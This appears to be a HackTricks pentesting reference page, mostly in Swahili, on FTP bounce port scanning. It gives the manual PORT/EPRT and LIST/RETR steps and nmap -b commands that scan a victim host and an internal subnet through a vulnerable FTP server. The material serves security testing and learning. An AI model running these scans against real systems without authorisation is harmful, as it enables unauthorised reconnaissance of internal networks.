FTP Bounce attack - Scan

Reading time: 2 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

FTP Bounce - Scanning

Manual

  1. Unganisha kwenye FTP iliyo hatarini
  2. Tumia **PORT** au EPRT (lakini moja tu kati yao) ili kuanzisha muunganisho na <IP:Port> unayotaka kuchunguza:

PORT 172,32,80,80,0,8080
EPRT |2|172.32.80.80|8080|

  1. Tumia LIST (hii itatuma tu kwa <IP:Port> iliyounganishwa orodha ya faili za sasa katika folda ya FTP) na angalia majibu yanayowezekana: 150 File status okay (Hii ina maana kwamba port iko wazi) au 425 No connection established (Hii ina maana kwamba port imefungwa)
  2. Badala ya LIST unaweza pia kutumia RETR /file/in/ftp na kutafuta majibu yanayofanana ya Open/Close.

Mfano Ukifanya Kazi na PORT (port 8080 ya 172.32.80.80 iko wazi na port 7777 imefungwa):

Mfano sawa ukitumia EPRT (uthibitisho umeachwa kwenye picha):

Port wazi ukitumia EPRT badala ya LIST (mazingira tofauti)

nmap

bash
nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks